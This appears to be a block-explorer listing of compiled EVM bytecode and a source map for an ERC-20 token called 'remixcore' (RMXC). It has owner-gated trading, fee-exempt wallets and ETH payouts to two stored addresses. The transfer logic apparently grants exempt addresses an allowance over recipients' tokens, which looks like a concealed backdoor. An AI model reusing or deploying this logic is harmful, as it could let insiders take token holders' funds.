0x6080604052600436106100f75760003560e01c8063715018a61161008a5780638ea5220f116100595780638ea5220f1461031557806395d89b4114610340578063a9059cbb1461036b578063dd62ed3e146103a8576100fe565b8063715018a61461029157806375f0a874146102a85780638a8c523c146102d35780638da5cb5b146102ea576100fe565b8063313ce567116100c6578063313ce567146101d357806349bd5a5e146101fe5780634ada218b1461022957806370a0823114610254576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103e5565b60405161012591906116f6565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906117b1565b610422565b604051610162919061180c565b60405180910390f35b34801561017757600080fd5b50610180610440565b60405161018d9190611836565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611851565b610452565b6040516101ca919061180c565b60405180910390f35b3480156101df57600080fd5b506101e861052b565b6040516101f591906118c0565b60405180910390f35b34801561020a57600080fd5b50610213610534565b60405161022091906118ea565b60405180910390f35b34801561023557600080fd5b5061023e61055a565b60405161024b919061180c565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190611905565b61056d565b6040516102889190611836565b60405180910390f35b34801561029d57600080fd5b506102a66105b6565b005b3480156102b457600080fd5b506102bd610709565b6040516102ca91906118ea565b60405180910390f35b3480156102df57600080fd5b506102e861072f565b005b3480156102f657600080fd5b506102ff6107e1565b60405161030c91906118ea565b60405180910390f35b34801561032157600080fd5b5061032a61080a565b60405161033791906118ea565b60405180910390f35b34801561034c57600080fd5b50610355610830565b60405161036291906116f6565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d91906117b1565b61086d565b60405161039f919061180c565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca9190611932565b61088b565b6040516103dc9190611836565b60405180910390f35b60606040518060400160405280600981526020017f72656d6978636f72650000000000000000000000000000000000000000000000815250905090565b600061043661042f610912565b848461091a565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061045f848484610ae3565b6105208461046b610912565b61051b85604051806060016040528060288152602001611cd260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610912565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb9092919063ffffffff16565b61091a565b600190509392505050565b60006012905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105be610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610642906119be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610737610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bb906119be565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600481526020017f726d786300000000000000000000000000000000000000000000000000000000815250905090565b600061088161087a610912565b8484610ae3565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090611a50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ef90611ae2565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad69190611836565b60405180910390a3505050565b600860009054906101000a900460ff16610baa57610aff6107e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610b6a5750610b3b6107e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090611b4e565b60405180910390fd5b5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c4d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90508015610c6157610c60848484610f2f565b5b6000610c6c3061056d565b9050600061c35069d3c21bcecceda1000000610c889190611bcc565b82118015610ce05750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610d365750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610d935750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015610dac5750601060149054906101000a900460ff16155b15610df0576001601060146101000a81548160ff021916908315150217905550610dd4610fc3565b6000601060146101000a81548160ff0219169083151502179055505b600060019050600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e975750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610ea157600090505b8015610eb357610eb28787876110a7565b5b60009050610ec287878761132e565b50505050505050565b6000838311158290610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a91906116f6565b60405180910390fd5b5060008385610f229190611bfd565b9050809150509392505050565b610f376107e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fa55750610f756107e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610fb15750600081115b15610fbe57436003819055505b505050565b600047905060008111156110a457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611039573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110a2573d6000803e3d6000fd5b505b50565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111065750600082115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111675750600083115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156112175750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112235750600084115b9050600080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050600043905084156112c65781156112c15780600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611324565b83806112cf5750825b1561132357600354600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113219190611bfd565b505b5b5050505050505050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905080156114195781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114119190611c31565b925050819055505b61142484848461142a565b50505050565b61147c81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115be90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b19190611836565b60405180910390a3505050565b600061160083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b905092915050565b60008082846116179190611c31565b90508381101561165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390611cb1565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a0578082015181840152602081019050611685565b60008484015250505050565b6000601f19601f8301169050919050565b60006116c882611666565b6116d28185611671565b93506116e2818560208601611682565b6116eb816116ac565b840191505092915050565b6000602082019050818103600083015261171081846116bd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117488261171d565b9050919050565b6117588161173d565b811461176357600080fd5b50565b6000813590506117758161174f565b92915050565b6000819050919050565b61178e8161177b565b811461179957600080fd5b50565b6000813590506117ab81611785565b92915050565b600080604083850312156117c8576117c7611718565b5b60006117d685828601611766565b92505060206117e78582860161179c565b9150509250929050565b60008115159050919050565b611806816117f1565b82525050565b600060208201905061182160008301846117fd565b92915050565b6118308161177b565b82525050565b600060208201905061184b6000830184611827565b92915050565b60008060006060848603121561186a57611869611718565b5b600061187886828701611766565b935050602061188986828701611766565b925050604061189a8682870161179c565b9150509250925092565b600060ff82169050919050565b6118ba816118a4565b82525050565b60006020820190506118d560008301846118b1565b92915050565b6118e48161173d565b82525050565b60006020820190506118ff60008301846118db565b92915050565b60006020828403121561191b5761191a611718565b5b600061192984828501611766565b91505092915050565b6000806040838503121561194957611948611718565b5b600061195785828601611766565b925050602061196885828601611766565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a8602083611671565b91506119b382611972565b602082019050919050565b600060208201905081810360008301526119d78161199b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a602483611671565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611acc602283611671565b9150611ad782611a70565b604082019050919050565b60006020820190508181036000830152611afb81611abf565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000611b38601683611671565b9150611b4382611b02565b602082019050919050565b60006020820190508181036000830152611b6781611b2b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611bd78261177b565b9150611be28361177b565b925082611bf257611bf1611b6e565b5b828204905092915050565b6000611c088261177b565b9150611c138361177b565b9250828203905081811115611c2b57611c2a611b9d565b5b92915050565b6000611c3c8261177b565b9150611c478361177b565b9250828201905080821115611c5f57611c5e611b9d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c9b601b83611671565b9150611ca682611c65565b602082019050919050565b60006020820190508181036000830152611cca81611c8e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e60ca08c0b02efe3ef3c7daaf869c0e54fef260b5571cd693d3af3393f7598a64736f6c63430008130033
Deployed Bytecode Sourcemap
3560:9197:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5208:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6036:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5485:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6205:310;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5394:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4567:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4232:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5588:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2914:148;;;;;;;;;;;;;:::i;:::-;;4448:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7003:84;;;;;;;;;;;;;:::i;:::-;;2700:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4485:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5299:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5713:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5888:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5208:83;5245:13;5278:5;;;;;;;;;;;;;;;;;5271:12;;5208:83;:::o;6036:161::-;6111:4;6128:39;6137:12;:10;:12::i;:::-;6151:7;6160:6;6128:8;:39::i;:::-;6185:4;6178:11;;6036:161;;;;:::o;5485:95::-;5538:7;3781:12;5558:14;;5485:95;:::o;6205:310::-;6303:4;6320:36;6330:6;6338:9;6349:6;6320:9;:36::i;:::-;6367:118;6376:6;6384:12;:10;:12::i;:::-;6398:86;6433:6;6398:86;;;;;;;;;;;;;;;;;:8;:16;6407:6;6398:16;;;;;;;;;;;;;;;:30;6415:12;:10;:12::i;:::-;6398:30;;;;;;;;;;;;;;;;:34;;:86;;;;;:::i;:::-;6367:8;:118::i;:::-;6503:4;6496:11;;6205:310;;;;;:::o;5394:83::-;5435:5;3737:2;5453:16;;5394:83;:::o;4567:28::-;;;;;;;;;;;;;:::o;4232:34::-;;;;;;;;;;;;;:::o;5588:117::-;5654:7;5681;:16;5689:7;5681:16;;;;;;;;;;;;;;;;5674:23;;5588:117;;;:::o;2914:148::-;2837:12;:10;:12::i;:::-;2827:22;;:6;;;;;;;;;;:22;;;2819:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3021:1:::1;2984:40;;3005:6;::::0;::::1;;;;;;;;2984:40;;;;;;;;;;;;3052:1;3035:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2914:148::o:0;4448:30::-;;;;;;;;;;;;;:::o;7003:84::-;2837:12;:10;:12::i;:::-;2827:22;;:6;;;;;;;;;;:22;;;2819:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7075:4:::1;7058:14;;:21;;;;;;;;;;;;;;;;;;7003:84::o:0;2700:79::-;2738:7;2765:6;;;;;;;;;;;2758:13;;2700:79;:::o;4485:24::-;;;;;;;;;;;;;:::o;5299:87::-;5338:13;5371:7;;;;;;;;;;;;;;;;;5364:14;;5299:87;:::o;5713:167::-;5791:4;5808:42;5818:12;:10;:12::i;:::-;5832:9;5843:6;5808:9;:42::i;:::-;5868:4;5861:11;;5713:167;;;;:::o;5888:140::-;5969:7;5996:8;:15;6005:5;5996:15;;;;;;;;;;;;;;;:24;6012:7;5996:24;;;;;;;;;;;;;;;;5989:31;;5888:140;;;;:::o;111:98::-;164:7;191:10;184:17;;111:98;:::o;7222:332::-;7332:1;7315:19;;:5;:19;;;7307:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7413:1;7394:21;;:7;:21;;;7386:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7492:6;7465:8;:15;7474:5;7465:15;;;;;;;;;;;;;;;:24;7481:7;7465:24;;;;;;;;;;;;;;;:33;;;;7530:7;7514:32;;7523:5;7514:32;;;7539:6;7514:32;;;;;;:::i;:::-;;;;;;;;7222:332;;;:::o;7566:952::-;7650:14;;;;;;;;;;;7646:113;;7696:7;:5;:7::i;:::-;7688:15;;:4;:15;;;:32;;;;7713:7;:5;:7::i;:::-;7707:13;;:2;:13;;;7688:32;7680:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7646:113;7771:20;7794:18;:24;7813:4;7794:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;7822:18;:22;7841:2;7822:22;;;;;;;;;;;;;;;;;;;;;;;;;7794:50;7771:73;;7860:15;7857:60;;;7879:35;7897:4;7903:2;7907:6;7879:17;:35::i;:::-;7857:60;7929:20;7952:24;7970:4;7952:9;:24::i;:::-;7929:47;;7987:12;8028:5;3781:12;8018:15;;;;:::i;:::-;8003:12;:30;8002:61;;;;;8039:18;:24;8058:4;8039:24;;;;;;;;;;;;;;;;;;;;;;;;;8038:25;8002:61;:88;;;;;8068:18;:22;8087:2;8068:22;;;;;;;;;;;;;;;;;;;;;;;;;8067:23;8002:88;7987:103;;8106:7;:32;;;;;8125:13;;;;;;;;;;;8117:21;;:4;:21;;;;8106:32;:45;;;;;8143:8;;;;;;;;;;;8142:9;8106:45;8103:152;;;8178:4;8167:8;;:15;;;;;;;;;;;;;;;;;;8197;:13;:15::i;:::-;8238:5;8227:8;;:16;;;;;;;;;;;;;;;;;;8103:152;8267:12;8282:4;8267:19;;8302:18;:24;8321:4;8302:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;8330:18;:22;8349:2;8330:22;;;;;;;;;;;;;;;;;;;;;;;;;8302:50;8299:70;;;8364:5;8354:15;;8299:70;8385:7;8382:49;;;8394:37;8414:4;8420:2;8424:6;8394:19;:37::i;:::-;8382:49;8454:5;8444:15;;8472:38;8493:4;8499:2;8503:6;8472:20;:38::i;:::-;7635:883;;;;7566:952;;;:::o;1246:190::-;1332:7;1365:1;1360;:6;;1368:12;1352:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1392:9;1408:1;1404;:5;;;;:::i;:::-;1392:17;;1427:1;1420:8;;;1246:190;;;;;:::o;9277:193::-;9387:7;:5;:7::i;:::-;9377:17;;:6;:17;;;;:41;;;;;9411:7;:5;:7::i;:::-;9398:20;;:9;:20;;;;9377:41;:55;;;;;9431:1;9422:6;:10;9377:55;9374:89;;;9448:12;9435:10;:25;;;;9374:89;9277:193;;;:::o;9015:250::-;9059:18;9080:21;9059:42;;9129:1;9116:10;:14;9112:146;;;9155:9;;;;;;;;;;;9147:27;;:39;9175:10;9147:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9209:15;;;;;;;;;;;9201:33;;:45;9235:10;9201:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9112:146;9048:217;9015:250::o;9478:588::-;9577:12;9602:13;;;;;;;;;;;9592:23;;:6;:23;;;:37;;;;;9628:1;9619:6;:10;9592:37;9577:52;;9640:12;9668:13;;;;;;;;;;;9655:26;;:9;:26;;;:40;;;;;9694:1;9685:6;:10;9655:40;9640:55;;9706:15;9734:13;;;;;;;;;;;9724:23;;:6;:23;;;;:53;;;;;9764:13;;;;;;;;;;;9751:26;;:9;:26;;;;9724:53;:67;;;;;9790:1;9781:6;:10;9724:67;9706:85;;9802:11;9838:1;9816:7;:18;9824:9;9816:18;;;;;;;;;;;;;;;;:23;9802:37;;9850:17;9870:12;9850:32;;9898:7;9895:164;;;9924:6;9921:41;;;9953:9;9932:7;:18;9940:9;9932:18;;;;;;;;;;;;;;;:30;;;;9921:41;9895:164;;;9982:7;:21;;;;9993:10;9982:21;9979:80;;;10037:10;;10019:7;:15;10027:6;10019:15;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;;9979:80;9895:164;9566:500;;;;;9478:588;;;:::o;10579:297::-;10679:20;10702:18;:26;10721:6;10702:26;;;;;;;;;;;;;;;;;;;;;;;;;10679:49;;10752:15;10749:57;;;10800:6;10769:8;:19;10778:9;10769:19;;;;;;;;;;;;;;;:27;10789:6;10769:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;10749:57;10819:49;10842:6;10850:9;10861:6;10819:22;:49::i;:::-;10668:208;10579:297;;;:::o;10074:275::-;10195:28;10215:7;10195;:15;10203:6;10195:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;10177:7;:15;10185:6;10177:15;;;;;;;;;;;;;;;:46;;;;10255:31;10278:7;10255;:18;10263:9;10255:18;;;;;;;;;;;;;;;;:22;;:31;;;;:::i;:::-;10234:7;:18;10242:9;10234:18;;;;;;;;;;;;;;;:52;;;;10322:9;10305:36;;10314:6;10305:36;;;10333:7;10305:36;;;;;;:::i;:::-;;;;;;;;10074:275;;;:::o;1102:136::-;1160:7;1187:43;1191:1;1194;1187:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1180:50;;1102:136;;;;:::o;915:179::-;973:7;993:9;1009:1;1005;:5;;;;:::i;:::-;993:17;;1034:1;1029;:6;;1021:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1085:1;1078:8;;;915:179;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:223::-;7145:34;7141:1;7133:6;7129:14;7122:58;7214:6;7209:2;7201:6;7197:15;7190:31;7005:223;:::o;7234:366::-;7376:3;7397:67;7461:2;7456:3;7397:67;:::i;:::-;7390:74;;7473:93;7562:3;7473:93;:::i;:::-;7591:2;7586:3;7582:12;7575:19;;7234:366;;;:::o;7606:419::-;7772:4;7810:2;7799:9;7795:18;7787:26;;7859:9;7853:4;7849:20;7845:1;7834:9;7830:17;7823:47;7887:131;8013:4;7887:131;:::i;:::-;7879:139;;7606:419;;;:::o;8031:221::-;8171:34;8167:1;8159:6;8155:14;8148:58;8240:4;8235:2;8227:6;8223:15;8216:29;8031:221;:::o;8258:366::-;8400:3;8421:67;8485:2;8480:3;8421:67;:::i;:::-;8414:74;;8497:93;8586:3;8497:93;:::i;:::-;8615:2;8610:3;8606:12;8599:19;;8258:366;;;:::o;8630:419::-;8796:4;8834:2;8823:9;8819:18;8811:26;;8883:9;8877:4;8873:20;8869:1;8858:9;8854:17;8847:47;8911:131;9037:4;8911:131;:::i;:::-;8903:139;;8630:419;;;:::o;9055:172::-;9195:24;9191:1;9183:6;9179:14;9172:48;9055:172;:::o;9233:366::-;9375:3;9396:67;9460:2;9455:3;9396:67;:::i;:::-;9389:74;;9472:93;9561:3;9472:93;:::i;:::-;9590:2;9585:3;9581:12;9574:19;;9233:366;;;:::o;9605:419::-;9771:4;9809:2;9798:9;9794:18;9786:26;;9858:9;9852:4;9848:20;9844:1;9833:9;9829:17;9822:47;9886:131;10012:4;9886:131;:::i;:::-;9878:139;;9605:419;;;:::o;10030:180::-;10078:77;